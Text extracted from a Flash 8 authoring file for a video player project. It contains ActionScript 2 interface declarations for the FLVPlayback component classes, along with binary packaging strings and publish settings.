   private var _smilMgr:mx.video.SMILManager;

   private var _streamHeight:Number;

   private var _streamLength:Number;

   private var _streamName:String;

   private var _streamWidth:Number;

   private var _streams:Array;

   private var _timeout:Number;

   private var _timeoutIntervalId:Number;

   public var _tryNC:Array;

   private var _tryNCIntervalId:Number;

   private var _wrappedURL:String;

   private function bitrateMatch():Void;

   private function canReuseOldConnection(parseResults:Object):Boolean;

   public function cleanConns();

   public function close():Void;

   public function connectAgain():Boolean;

   private function connectHTTP():Boolean;

   public function connectOnStatus(target:NetConnection, info:Object):Void;

   private function connectRTMP():Boolean;

   public function connectToURL(url:String):Boolean;

   public function disconnectOnStatus(target:NetConnection, info:Object):Void;

   public var fallbackServerName:String;

   public function getBitrate():Number;

   public function getNetConnection():NetConnection;

   public function getStreamHeight():Number;

   public function getStreamLength():Number;

   public function getStreamLengthResult(length:Number):Void;

   public function getStreamName():String;

   public function getStreamWidth():Number;

   public function getTimeout():Number;

   public function getVideoPlayer():mx.video.VideoPlayer;

   public function helperDone(helper:Object, success:Boolean);

   private function initNCInfo():Void;

   private function initOtherInfo():Void;

   public function isRTMP():Boolean;

   private function nextConnect():Void;

   public function onConnected(p_nc:NetConnection, p_bw:Number):Void;

   public function onReconnected():Void;

   private function parseURL(url:String):Object;

   public function reconnect():Void;

   public function reconnectOnStatus(target:NetConnection, info:Object):Void;

   public function setBitrate(b:Number):Void;

   public function setTimeout(t:Number):Void;

   public function setVideoPlayer(v:mx.video.VideoPlayer):Void;

   static private function stripFrontAndBackWhiteSpace(p_str:String):String;

   private function tryFallBack():Void;

   static public var version:String;

};

__Packages.mx.video.SMILManager__Packages.mx.video.SMILManagerFLVPlayback.swfVC__Packages.mx.video.INCManagerFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swf__Packages.mx.utils.DelegateFLVPlayback.swfmx.video.SMILManagerximport mx.video.VideoError;

import mx.video.INCManager;

import mx.utils.Delegate;



intrinsic class mx.video.SMILManager

{

   static private var ELEMENT_NODE:Number;

   public function SMILManager(owner:mx.video.INCManager);

   private var _owner:mx.video.INCManager;

   private var _url:String;

   public var baseURLAttr:Array;

   public function connectXML(url:String):Boolean;

   public var height:Number;

   private function parseBody(parentNode:XMLNode):Void;

   private function parseHead(parentNode:XMLNode):Void;

   private function parseLayout(parentNode:XMLNode):Void;

   private function parseSwitch(parentNode:XMLNode):Void;

   private function parseVideo(node:XMLNode):Object;

   static public var version:String;

   public var videoTags:Array;

   public var width:Number;

   public var xml:XML;

   private function xmlOnLoad(success:Boolean):Void;

};

__Packages.mx.video.UIManager__Packages.mx.video.UIManagerFLVPlayback.swfVC__Packages.mx.video.FLVPlaybackFLVPlayback.swf__Packages.mx.video.VideoPlayerFLVPlayback.swfmx.video.UIManagerimport mx.video.VideoPlayer;

import mx.video.FLVPlayback;

import mx.utils.Delegate;



intrinsic class mx.video.UIManager

{

   static var BACK_BUTTON:Number;

   static var BUFFERING_BAR:Number;

   static public var BUFFERING_DELAY_INTERVAL_DEFAULT:Number;

   static var DOWN_STATE:Number;

   static var FORWARD_BUTTON:Number;

   static var MUTE_BUTTON:Number;

   static var MUTE_OFF_BUTTON:Number;

   static var MUTE_ON_BUTTON:Number;

   static var NUM_BUTTONS:Number;

   static var NUM_CONTROLS:Number;

   static var OVER_STATE:Number;

   static var PAUSE_BUTTON:Number;

   static var PLAY_BUTTON:Number;

   static var PLAY_PAUSE_BUTTON:Number;

   static var SEEK_BAR:Number;

   static var SEEK_BAR_HANDLE:Number;

   static public var SEEK_BAR_INTERVAL_DEFAULT:Number;

   static public var SEEK_BAR_SCRUB_TOLERANCE_DEFAULT:Number;

   static private var SKIN_AUTO_HIDE_INTERVAL:Number;

   static var STOP_BUTTON:Number;

   public function UIManager(vc:mx.video.FLVPlayback);

   static var UP_STATE:Number;

   static var VOLUME_BAR:Number;

   static var VOLUME_BAR_HANDLE:Number;

   static public var VOLUME_BAR_INTERVAL_DEFAULT:Number;

   static public var VOLUME_BAR_SCRUB_TOLERANCE_DEFAULT:Number;

   private var __visible:Boolean;

   private var _bufferingBarHides:Boolean;

   private var _bufferingDelayInterval:Number;

   private var _bufferingDelayIntervalID:Number;

   private var _bufferingOn:Boolean;

   private var _controlsEnabled:Boolean;

   private var _isMuted:Boolean;

   private var _lastScrubPos:Number;

   private var _lastVolumePos:Number;

   private var _playAfterScrub:Boolean;

   private var _progressPercent:Number;

   private var _seekBarInterval:Number;

   private var _seekBarIntervalID:Number;

   private var _seekBarScrubTolerance:Number;

   private var _skin:String;

   private var _skinAutoHide:Boolean;

   private var _skinAutoHideIntervalID:Number;

   private var _skinReady:Boolean;

   public var _vc:mx.video.FLVPlayback;

   private var _volumeBarInterval:Number;

   private var _volumeBarIntervalID:Number;

   private var _volumeBarScrubTolerance:Number;

   private function addBarControl(controlIndex:Number):Void;

   private function addButtonControl(index:Number):Void;

   private function applySkinState(ctrl:MovieClip, state:MovieClip):Void;

   private var border_mc:MovieClip;

   public function get bufferingBarHidesAndDisablesOthers():Boolean;

   public function set bufferingBarHidesAndDisablesOthers(b:Boolean):Void;

   public function get bufferingDelayInterval():Number;

   public function set bufferingDelayInterval(s:Number);

   private var cachedSoundLevel:Number;

   private function calcBarMargins(ctrl:MovieClip, type:String, symmetricMargins:Boolean):Void;

   private function calcPercentageFromHandle(controlIndex:Number):Void;

   private var controls:Array;

   public function get controlsEnabled():Boolean;

   public function set controlsEnabled(flag:Boolean):Void;

   private var customClips:Array;

   public function dispatchMessage(ctrl:MovieClip):Void;

   public function doBufferingDelay():Void;

   private function downloadSkin():Void;

   private function finishAddBarControl(controlIndex:Number);

   private function finishAddBufferingBar();

   private function fixUpBar(ctrl:MovieClip, type:String):Void;

   public function getControl(index:Number):MovieClip;

   public function handleEvent(e:Object):Void;

   private function handleRelease(controlIndex:Number):Void;

   private function layoutControl(ctrl:MovieClip):Void;

   public function layoutSkin():Void;

   private var layout_mc:MovieClip;

   private function onLoadError(target_mc:MovieClip, errorCode:String):Void;

   private function onLoadInit():Void;

   private var placeholderBottom:Number;

   private var placeholderLeft:Number;

   private var placeholderRight:Number;

   private var placeholderTop:Number;

   private function positionBar(ctrl:MovieClip, type:String, percent:Number):Void;

   private function positionHandle(controlIndex:Number):Void;

   private function positionMaskedFill(ctrl:MovieClip, fill:MovieClip, percent:Number):Void;

   private function removeButtonControl(index:Number):Void;

   private function removeSkin():Void;

   private function resetPlayPause():Void;

   public function get seekBarInterval():Number;

   public function set seekBarInterval(s:Number);

   public function seekBarListener(finish:Boolean):Void;

   public function get seekBarScrubTolerance():Number;

   public function set seekBarScrubTolerance(s:Number);

   public function setControl(index:Number, s:MovieClip);

   private function setCustomClips(prefix:String):Void;

   private function setEnabledAndVisibleForState(index:Number, state:String):Void;

   private function setSkin(index:Number, s:MovieClip):Void;

   public function setupSkinAutoHide():Void;

   private function setupSkinStates(ctrl:MovieClip):Void;

   public function get skin():String;

   public function set skin(s:String);

   public function get skinAutoHide():Boolean;

   public function set skinAutoHide(b:Boolean);

   private function skinAutoHideHitTest():Void;

   private function skinButtonControl(ctrl:MovieClip):Void;

   private var skinLoader:MovieClipLoader;

   public function get skinReady():Boolean;

   private var skin_mc:MovieClip;

   private function startHandleDrag(controlIndex:Number):Void;

   private function stopHandleDrag(controlIndex:Number):Void;

   static public var version:String;

   private var videoBottom:Number;

   private var videoLeft:Number;

   private var videoRight:Number;

   private var videoTop:Number;

   public function get visible():Boolean;

   public function set visible(v:Boolean);

   public function get volumeBarInterval():Number;

   public function set volumeBarInterval(s:Number);

   public function volumeBarListener(finish:Boolean):Void;

   public function get volumeBarScrubTolerance():Number;

   public function set volumeBarScrubTolerance(s:Number);

};

__Packages.mx.video.VideoError__Packages.mx.video.VideoErrorFLVPlayback.swfRCmx.video.VideoError

intrinsic class mx.video.VideoError extends Error

{

   static private var BASE_ERROR_CODE:Number;

   static public var DELETE_DEFAULT_PLAYER:Number;

   static private var ERROR_MSG:Array;

   static public var ILLEGAL_CUE_POINT:Number;

   static public var INVALID_CONTENT_PATH:Number;

   static public var INVALID_SEEK:Number;

   static public var INVALID_XML:Number;

   static public var NO_BITRATE_MATCH:Number;

   static public var NO_CONNECTION:Number;

   static public var NO_CUE_POINT_MATCH:Number;

   public function VideoError(errCode:Number, msg:String);

   private var _code:Number;

   public function get code():Number;

   static public var version:String;

};

__Packages.mx.video.VideoPlayer__Packages.mx.video.VideoPlayerFLVPlayback.swfVC__Packages.mx.video.INCManagerFLVPlayback.swf$__Packages.mx.events.EventDispatcherFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swfmx.video.VideoPlayer import mx.video.VideoError;

import mx.events.EventDispatcher;

import mx.video.INCManager;



[Event("close")] 

[Event("complete")] 

[Event("cuePoint")] 

[Event("metadataReceived")] 

[Event("playheadUpdate")] 

[Event("progress")] 

[Event("ready")] 

[Event("resize")] 

[Event("rewind")] 

[Event("stateChange")] 

intrinsic class mx.video.VideoPlayer extends MovieClip

{

   static private var AUTO_RESIZE_INTERVAL:Number;

   static private var AUTO_RESIZE_METADATA_DELAY_MAX:Number;

   static private var AUTO_RESIZE_PLAYHEAD_TIMEOUT;

   static public var BUFFERING:String;

   static private var BUFFER_EMPTY:String;

   static private var BUFFER_FULL:String;

   static private var BUFFER_FULL_SAW_PLAY_STOP:String;

   static private var CLOSE_NS_INTERVAL:Number;

   static public var CONNECTION_ERROR:String;

   static var DEFAULT_IDLE_TIMEOUT_INTERVAL:Number;

   static public var DEFAULT_INCMANAGER:String;

   static var DEFAULT_UPDATE_PROGRESS_INTERVAL:Number;

   static var DEFAULT_UPDATE_TIME_INTERVAL:Number;

   static public var DISCONNECTED:String;

   static var EXEC_QUEUED_CMD:String;

   static private var FINISH_AUTO_RESIZE_INTERVAL:Number;

   static private var HTTP_DELAYED_BUFFERING_INTERVAL:Number;

   static private var HTTP_DO_SEEK_INTERVAL:Number;

   static private var HTTP_DO_SEEK_MAX_COUNT:Number;

   static var LOAD:Number;

   static public var LOADING:String;

   static var PAUSE:Number;

   static public var PAUSED:String;

   static var PLAY:Number;

   static public var PLAYING:String;

   static public var RESIZING:String;

   static public var REWINDING:String;

   static private var RTMP_DO_SEEK_INTERVAL:Number;

   static private var RTMP_DO_STOP_AT_END_INTERVAL:Number;

   static var SEEK:Number;

   static public var SEEKING:String;

   static var STOP:Number;

   static public var STOPPED:String;

   public function VideoPlayer();

   private var __visible:Boolean;

   private var _aspectRatio:Boolean;

   private var _atEnd:Boolean;

   private var _autoPlay:Boolean;

   private var _autoResizeDone:Boolean;

   private var _autoResizeIntervalID:Number;

   private var _autoRewind:Boolean;

   private var _autoSize:Boolean;

   private var _bufferState:String;

   private var _bufferTime:Number;

   private var _cachedPlayheadTime:Number;

   private var _cachedState:String;

   private var _cmdQueue:Array;

   private var _contentPath:String;

   private function _createStream():Void;

   private var _currentPos:Number;

   private var _delayedBufferingInterval:Number;

   private var _delayedBufferingIntervalID:Number;

   private var _finishAutoResizeIntervalID:Number;

   private var _hiddenForResize:Boolean;

   private var _hiddenForResizeMetadataDelay:Number;

   private var _hiddenRewindPlayheadTime:Number;

   private var _httpDoSeekCount:Number;

   private var _httpDoSeekIntervalID:Number;

   private var _idleTimeoutInterval:Number;

   private var _idleTimeoutIntervalID:Number;

   private var _invalidSeekRecovery:Boolean;

   private var _invalidSeekTime:Boolean;

   private var _isLive:Boolean;

   private var _lastUpdateTime:Number;

   private function _load(url:String, isLive:Boolean, totalTime:Number):Void;

   private var _metadata:Object;

   private var _ncMgr:mx.video.INCManager;

   private var _ns:NetStream;

   private function _pause(doPause:Boolean):Void;

   private function _play():Void;

   private var _prevVideoHeight:Number;

   private var _prevVideoWidth:Number;

   private var _readyDispatched:Boolean;

   private var _rtmpDoSeekIntervalID:Number;

   private var _rtmpDoStopAtEndIntervalID:Number;

   private var _sawSeekNotify:Boolean;

   private function _seek(time:Number):Void;

   private function _setUpStream():Void;

   private var _sound:Sound;

   private var _startingPlay:Boolean;

   private var _state:String;

   private var _streamLength:Number;

   private var _updateProgressInterval:Number;

   private var _updateProgressIntervalID:Number;

   private var _updateTimeInterval:Number;

   private var _updateTimeIntervalID:Number;

   private var _video:Video;

   private var _videoHeight:Number;

   private var _videoWidth:Number;

   private var _volume:Number;

   public var addEventListener:Function;

   public function get autoRewind():Boolean;

   public function set autoRewind(flag:Boolean):Void;

   public function get autoSize():Boolean;

   public function set autoSize(flag:Boolean):Void;

   public function get bufferTime():Number;

   public function set bufferTime(aTime:Number):Void;

   public function get bytesLoaded():Number;

   public function get bytesTotal():Number;

   public function close():Void;

   private function closeNS(updateCurrentPos:Boolean):Void;

   private function createINCManager():Void;

   public var dispatchEvent:Function;

   public var dispatchQueue:Function;

   private function doAutoResize():Void;

   private function doDelayedBuffering():Void;

   private function doIdleTimeout():Void;

   public function doUpdateProgress():Void;

   public function doUpdateTime():Void;

   private function execQueuedCmds():Void;

   private function finishAutoResize():Void;

   private function flushQueuedCmds():Void;

   public function get height():Number;

   public function set height(h:Number):Void;

   private function httpDoSeek():Void;

   private function httpDoStopAtEnd():Void;

   public function httpOnStatus(info:Object):Void;

   public function get idleTimeout():Number;

   public function set idleTimeout(aTime:Number):Void;

   public function get isLive():Boolean;

   public function get isRTMP():Boolean;

   private function isXnOK():Boolean;

   public function load(url:String, isLive:Boolean, totalTime:Number):Void;

   public function get maintainAspectRatio():Boolean;

   public function set maintainAspectRatio(flag:Boolean):Void;

   public function get metadata();

   public function ncConnected():Void;

   public function get ncMgr():mx.video.INCManager;

   public var ncMgrClassName:String;

   public function ncReconnected():Void;

   public function onCuePoint(info:Object):Void;

   public function onMetaData(info:Object):Void;

   public function pause():Void;

   public function play(url:String, isLive:Boolean, totalTime:Number):Void;

   public function get playheadTime():Number;

   public function set playheadTime(position:Number):Void;

   public function get playheadUpdateInterval():Number;

   public function set playheadUpdateInterval(aTime:Number):Void;

   public function get progressInterval():Number;

   public function set progressInterval(aTime:Number):Void;

   private function queueCmd(type:Number, url:String, isLive:Boolean, time:Number):Void;

   public var removeEventListener:Function;

   private function rtmpDoSeek():Void;

   private function rtmpDoStopAtEnd(force:Boolean):Void;

   public function rtmpOnStatus(info:Object):Void;

   function get scaleX():Number;

   function set scaleX(xs:Number):Void;

   function get scaleY():Number;

   function set scaleY(ys:Number):Void;

   public function seek(time:Number):Void;

   public function setScale(xs:Number, ys:Number);

   public function setSize(w:Number, h:Number):Void;

   private function setState(s:String):Void;

   private function setStateFromCachedState():Void;

   private function startAutoResize();

   public function get state():String;

   public function get stateResponsive():Boolean;

   public function stop():Void;

   public function get totalTime():Number;

   public function get transform():Object;

   public function set transform(s:Object):Void;

   public function get url():String;

   static public var version:String;

   public function get videoHeight();

   public function get videoWidth();

   public function get visible():Boolean;

   public function set visible(v:Boolean):Void;

   public function get volume():Number;

   public function set volume(aVol:Number):Void;

   public function get width():Number;

   public function set width(w:Number):Void;

   public function get x():Number;

   public function set x(xpos:Number);

   public function get y():Number;

   public function set y(ypos:Number);

};

VideoPlayerFLVPlayback.swfIconFLVPlayback.swf__Packages.mx.video.FLVPlaybackFLVPlayback.swfmx.video.FLVPlayback.import mx.video.VideoPlayer;

import mx.video.VideoError;

import mx.video.UIManager;

import mx.events.EventDispatcher;

import mx.video.NCManager;

import mx.video.INCManager;

import mx.video.CuePointManager;

import mx.utils.Delegate;



[Event("buffering")] 

[Event("close")] 

[Event("complete")] 

[Event("cuePoint")] 

[Event("fastForward")] 

[Event("metadataReceived")] 

[Event("paused")] 

[Event("playing")] 

[Event("playheadUpdate")] 

[Event("progress")] 

[Event("ready")] 

[Event("resize")] 

[Event("rewind")] 

[Event("scrubFinish")] 

[Event("scrubStart")] 

[Event("seek")] 

[Event("skinError")] 

[Event("skinLoaded")] 

[Event("stateChange")] 

[Event("stopped")] 

[Event("volumeUpdate")] 

[IconFile("FLVPlayback.png")] 

[minimumPlayerVersion("8")] 

[RequiresDataBinding(true)] 

[LivePreviewVersion("1")] 

intrinsic class mx.video.FLVPlayback extends MovieClip

{

   static public var ACTIONSCRIPT;

   static public var ALL;

   static public var BUFFERING:String;

   static public var CONNECTION_ERROR:String;

   static public var DISCONNECTED:String;

   static public var EVENT;

   static public var FLV;

   public function FLVPlayback();

   static public var LOADING:String;

   static public var NAVIGATION;

   static public var PAUSED:String;

   static public var PLAYING:String;

   static public var REWINDING:String;

   static public var SEEKING:String;

   static private var SEEK_TO_PREV_OFFSET_DEFAULT:Number;

   static public var STOPPED:String;

   static private var VP_DEPTH_OFFSET:Number;

   private var __forceNCMgr:mx.video.NCManager;

   private var __height:Number;

   private var __width:Number;

   private var _activeVP:Number;

   private var _aspectRatio:Boolean;

   private var _autoPlay:Boolean;

   private var _autoRewind:Boolean;

   private var _autoSize:Boolean;

   private var _backButton:MovieClip;

   private var _bufferTime:Number;

   private var _bufferingBar:MovieClip;

   private var _bufferingBarHides:Boolean;

   private var _contentPath:String;

   private var _cpMgr:Array;

   private var _cuePoints:Array;

   private var _firstStreamReady:Boolean;

   private var _firstStreamShown:Boolean;

   private var _forwardButton:MovieClip;

   private var _idleTimeout:Number;

   private var _isLive:Boolean;

   private var _muteButton:MovieClip;

   private var _origHeight:Number;

   private var _origWidth:Number;

   private var _pauseButton:MovieClip;

   private var _playButton:MovieClip;

   private var _playPauseButton:MovieClip;

   private var _playheadUpdateInterval:Number;

   private var _preSeekTime:Number;

   private var _prevHeight:Number;

   private var _prevWidth:Number;

   private var _progressInterval:Number;

   private var _scaleX:Number;

   private var _scaleY:Number;

   public function _scrubFinish():Void;

   public function _scrubStart():Void;

   private var _seekBar:MovieClip;

   private var _seekBarInterval:Number;

   private var _seekBarScrubTolerance:Number;

   private var _seekToPrevOffset:Number;

   private var _skin:String;

   private var _skinAutoHide:Boolean;

   private var _stopButton:MovieClip;

   private var _topVP:Number;

   private var _totalTime:Number;

   private var _transform:Object;

   private var _uiMgr:mx.video.UIManager;

   private var _visibleVP:Number;

   private var _volume:Number;

   private var _volumeBar:MovieClip;

   private var _volumeBarInterval:Number;

   private var _volumeBarScrubTolerance:Number;

   private var _vp:Array;

   public var _vpState:Array;

   [Bindable] public function get activeVideoPlayerIndex():Number;

   public function set activeVideoPlayerIndex(i:Number):Void;

   public function addASCuePoint(timeOrCuePoint:Object, name:String, parameters:Object):Number;

   public var addEventListener:Function;

   [Inspectable(defaultValue=true)] public function get autoPlay():Boolean;

   public function set autoPlay(flag:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get autoRewind():Boolean;

   public function set autoRewind(flag:Boolean):Void;

   [Inspectable(defaultValue=false)] public function get autoSize():Boolean;

   public function set autoSize(flag:Boolean):Void;

   public function get backButton():MovieClip;

   public function set backButton(s:MovieClip):Void;

   public function get bitrate():Number;

   public function set bitrate(b:Number):Void;

   public var boundingBox_mc:MovieClip;

   public function bringVideoPlayerToFront(index:Number):Void;

   [Inspectable(defaultValue=0.1)] public function get bufferTime():Number;

   public function set bufferTime(aTime:Number):Void;

   public function get buffering():Boolean;

   public function get bufferingBar():MovieClip;

   public function set bufferingBar(s:MovieClip):Void;

   public function get bufferingBarHidesAndDisablesOthers():Boolean;

   public function set bufferingBarHidesAndDisablesOthers(b:Boolean):Void;

   [ChangeEvent("progress")] [Bindable] public function get bytesLoaded():Number;

   [ChangeEvent("progress")] [Bindable] public function get bytesTotal():Number;

   public function closeVideoPlayer(index:Number):mx.video.VideoPlayer;

   [Inspectable(type="Video Content Path")] [Bindable] public function get contentPath():String;

   public function set contentPath(url:String):Void;

   private function createLivePreviewMovieClip():Void;

   private function createUIManager():Void;

   private function createVideoPlayer(index:Number):Void;

   [Inspectable(type="Video Cue Points")] public function set cuePoints(cp:Array):Void;

   public var dispatchEvent:Function;

   public var dispatchQueue:Function;

   private function doContentPathConnect():Void;

   public function findCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNearestCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNextCuePointWithName(cuePoint:Object):Object;

   public function get forwardButton():MovieClip;

   public function set forwardButton(s:MovieClip):Void;

   public function getNextHighestDepth():Number;

   public function getVideoPlayer(index:Number):mx.video.VideoPlayer;

   private function handleEvent(e:Object):Void;

   [ChangeEvent("resize")] [Bindable] public function get height():Number;

   public function set height(h:Number):Void;

   public function get idleTimeout():Number;

   public function set idleTimeout(aTime:Number):Void;

   public function isFLVCuePointEnabled(timeNameOrCuePoint:Object):Boolean;

   [Inspectable(defaultValue=false)] public function get isLive():Boolean;

   public function set isLive(flag:Boolean):Void;

   public function get isRTMP():Boolean;

   public function load(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get maintainAspectRatio():Boolean;

   public function set maintainAspectRatio(flag:Boolean):Void;

   public function get metadata():Object;

   public function get metadataLoaded():Boolean;

   public function get muteButton():MovieClip;

   public function set muteButton(s:MovieClip):Void;

   public function get ncMgr():mx.video.INCManager;

   public function pause():Void;

   public function get pauseButton():MovieClip;

   public function set pauseButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("paused")] [Bindable] public function get paused():Boolean;

   public function play(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   public function get playButton():MovieClip;

   public function set playButton(s:MovieClip):Void;

   public function get playPauseButton():MovieClip;

   public function set playPauseButton(s:MovieClip):Void;

   public function get playheadPercentage():Number;

   public function set playheadPercentage(percent:Number);

   [ChangeEvent("playheadUpdate")] [Bindable] public function get playheadTime():Number;

   public function set playheadTime(position:Number):Void;

   public function get playheadUpdateInterval():Number;

   public function set playheadUpdateInterval(aTime:Number):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("playing")] [Bindable] public function get playing():Boolean;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredHeight():Number;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredWidth():Number;

   private var preview_mc:MovieClip;

   public function get progressInterval():Number;

   public function set progressInterval(aTime:Number):Void;

   public function removeASCuePoint(timeNameOrCuePoint:Object):Object;

   public var removeEventListener:Function;

   [ChangeEvent("resize")] [Bindable] function get scaleX():Number;

   function set scaleX(xs:Number):Void;

   [ChangeEvent("resize")] [Bindable] function get scaleY():Number;

   function set scaleY(ys:Number):Void;

   public function get scrubbing():Boolean;

   public function seek(time:Number):Void;

   public function get seekBar():MovieClip;

   public function set seekBar(s:MovieClip):Void;

   public function get seekBarInterval():Number;

   public function set seekBarInterval(s:Number);

   public function get seekBarScrubTolerance():Number;

   public function set seekBarScrubTolerance(s:Number);

   public function seekPercent(percent:Number):Void;

   public function seekSeconds(time:Number):Void;

   public function seekToNavCuePoint(timeNameOrCuePoint:Object):Void;

   public function seekToNextNavCuePoint(time:Number):Void;

   public function seekToPrevNavCuePoint(time:Number):Void;

   public function get seekToPrevOffset():Number;

   public function set seekToPrevOffset(s:Number):Void;

   public function setFLVCuePointEnabled(enabled:Boolean, timeNameOrCuePoint:Object):Number;

   public function setScale(xs:Number, ys:Number);

   public function setSize(w:Number, h:Number):Void;

   private function showFirstStream():Void;

   [Inspectable(type="Video Skin")] public function get skin():String;

   public function set skin(s:String):Void;

   [Inspectable(defaultValue=false)] public function get skinAutoHide():Boolean;

   public function set skinAutoHide(b:Boolean):Void;

   public function skinError(message:String):Void;

   public function skinLoaded():Void;

   [Bindable] [ChangeEvent("stateChange")] public function get state():String;

   public function get stateResponsive():Boolean;

   public function stop():Void;

   public function get stopButton():MovieClip;

   public function set stopButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("stopped")] [Bindable] public function get stopped():Boolean;

   [Inspectable(defaultValue=0)] [ChangeEvent("metadataReceived")] [Bindable] public function get totalTime():Number;

   public function set totalTime(aTime:Number):Void;

   public function get transform():Object;

   public function set transform(s:Object):Void;

   static public var version:String;

   public function get visible():Boolean;

   public function set visible(v:Boolean);

   public function get visibleVideoPlayerIndex():Number;

   public function set visibleVideoPlayerIndex(i:Number);

   [Inspectable(defaultValue=100)] [ChangeEvent("volumeUpdate")] [Bindable] public function get volume():Number;

   public function set volume(aVol:Number):Void;

   public function get volumeBar():MovieClip;

   public function set volumeBar(s:MovieClip):Void;

   public function get volumeBarInterval():Number;

   public function set volumeBarInterval(s:Number);

   public function get volumeBarScrubTolerance():Number;

   public function set volumeBarScrubTolerance(s:Number);

   [ChangeEvent("resize")] [Bindable] public function get width():Number;

   public function set width(w:Number):Void;

   [Bindable] public function get x():Number;

   public function set x(xpos:Number);

   [Bindable] public function get y():Number;

   public function set y(ypos:Number);

};

*@hhhhhlegacyLineSpacing0PropSheet::ActiveTab1075!PublishGifProperties::PaletteName PublishRNWKProperties::speed256K0Vector::AS3 Package Paths"PublishHtmlProperties::StartPaused0%PublishFormatProperties::htmlFileNameflvplay.html PublishQTProperties::LayerOption PublishQTProperties::AlphaOption"PublishQTProperties::MatchMovieDim1Vector::UseNetwork0Vector::Debugging Permitted0PublishProfileProperties::nameDefaultPublishHtmlProperties::Loop1PublishFormatProperties::jpeg0PublishQTProperties::Width550$PublishPNGProperties::OptimizeColors1&PublishRNWKProperties::speedSingleISDN0&PublishRNWKProperties::singleRateAudio0Vector::External Player%PublishHtmlProperties::showTagWarnMsg1PublishHtmlProperties::Units04PublishHtmlProperties::UsingDefaultAlternateFilename1PublishGifProperties::Smooth1%PublishRNWKProperties::mediaCopyright(c) 2000#PublishRNWKProperties::flashBitRate1200Vector::Compress Movie1Vector::Package Paths&PublishFormatProperties::flashFileNameflvplay.swf'PublishFormatProperties::gifDefaultName1%PublishFormatProperties::projectorMac0"PublishGifProperties::DitherOption!PublishRNWKProperties::exportSMIL1 PublishRNWKProperties::speed384K0"PublishRNWKProperties::exportAudio1Vector::FireFox0PublishHtmlProperties::Quality4(PublishHtmlProperties::VerticalAlignment1$PublishFormatProperties::pngFileNameflvplay.pngPublishFormatProperties::html1"PublishPNGProperties::FilterOption'PublishRNWKProperties::mediaDescriptionVector::Override Sounds0!PublishHtmlProperties::DeviceFont0-PublishFormatProperties::generatorDefaultName1PublishQTProperties::Flatten1PublishPNGProperties::BitDepth24-bit with AlphaPublishPNGProperties::Smooth1"PublishGifProperties::DitherSolids0PublishGifProperties::Interlace0PublishJpegProperties::DPI4718592Vector::Quality80Vector::Protect0"PublishHtmlProperties::DisplayMenu1*PublishHtmlProperties::HorizontalAlignment12PublishHtmlProperties::VersionDetectionIfAvailable0Vector::Template0*PublishFormatProperties::generatorFileNameflvplay.swt(PublishFormatProperties::rnwkDefaultName1(PublishFormatProperties::jpegDefaultName1PublishFormatProperties::gif0PublishGifProperties::Loop1PublishGifProperties::Width550$PublishRNWKProperties::mediaKeywords!PublishRNWKProperties::mediaTitlePublishRNWKProperties::speed28K1#PublishFormatProperties::qtFileNameflvplay.mov"PublishPNGProperties::DitherOption#PublishGifProperties::PaletteOption#PublishGifProperties::MatchMovieDim1$PublishRNWKProperties::speedDualISDN0$PublishRNWKProperties::realVideoRate100000PublishJpegProperties::Quality80PublishFormatProperties::flash1#PublishPNGProperties::PaletteOption#PublishPNGProperties::MatchMovieDim1$PublishJpegProperties::MatchMovieDim1Vector::Package Export Frame1!PublishProfileProperties::version1PublishHtmlProperties::Align0-PublishFormatProperties::projectorWinFileNameflvplay.exe'PublishFormatProperties::pngDefaultName10PublishFormatProperties::projectorMacDefaultName1#PublishQTProperties::PlayEveryFrame0"PublishPNGProperties::DitherSolids0"PublishJpegProperties::Progressive0Vector::Debugging PasswordVector::Omit Trace Actions0PublishHtmlProperties::Height400PublishHtmlProperties::Width550%PublishFormatProperties::jpegFileNameflvplay.jpg)PublishFormatProperties::flashDefaultName1PublishPNGProperties::Interlace0PublishGifProperties::Height400PublishJpegProperties::Size0Vector::DeviceSound0Vector::TopDown0'PublishHtmlProperties::TemplateFileNameuC:\Documents and Settings\admin\Local Settings\Application Data\Macromedia\Flash 8\en\Configuration\Html\Default.html!PublishHtmlProperties::WindowMode02PublishHtmlProperties::UsingDefaultContentFilename1-PublishFormatProperties::projectorMacFileNameflvplay.hqx(PublishFormatProperties::htmlDefaultName1PublishFormatProperties::rnwk0PublishFormatProperties::png0PublishQTProperties::Height400%PublishPNGProperties::RemoveGradients0PublishGifProperties::MaxColors255'PublishGifProperties::TransparentOptionPublishGifProperties::LoopCountPublishRNWKProperties::speed56K1Vector::Report0+PublishHtmlProperties::OwnAlternateFilename(PublishHtmlProperties::AlternateFilename&PublishHtmlProperties::ContentFilename"PublishFormatProperties::generator0$PublishGifProperties::OptimizeColors1"PublishRNWKProperties::audioFormat0Vector::Version8Vector::Event Format0Vector::Stream Compress7PublishFormatProperties::qt0PublishPNGProperties::Height400PublishPNGProperties::Width550%PublishGifProperties::RemoveGradients0 PublishRNWKProperties::speed512K0PublishJpegProperties::Height400Vector::EventUse8kSampleRate0Vector::StreamUse8kSampleRate0Vector::ActionScriptVersion2Vector::Event Compress7PublishHtmlProperties::Scale00PublishFormatProperties::projectorWinDefaultName1PublishQTProperties::Looping0*PublishQTProperties::UseQTSoundCompression0!PublishPNGProperties::PaletteName!PublishPNGProperties::Transparent0&PublishGifProperties::TransparentAlpha128PublishGifProperties::Animated0"PublishRNWKProperties::mediaAuthor(PublishRNWKProperties::speedCorporateLAN0&PublishRNWKProperties::showBitrateDlog1"PublishRNWKProperties::exportFlash1PublishJpegProperties::Width550Vector::Stream Format0"PublishHtmlProperties::VersionInfo$PublishFormatProperties::gifFileNameflvplay.gif&PublishFormatProperties::qtDefaultName1"PublishQTProperties::PausedAtStart0%PublishQTProperties::ControllerOption0PublishPNGProperties::MaxColors255,PublishHtmlProperties::UsingOwnAlternateFile0%PublishFormatProperties::rnwkFileNameflvplay.smil%PublishFormatProperties::projectorWin0%PublishFormatProperties::defaultNames1	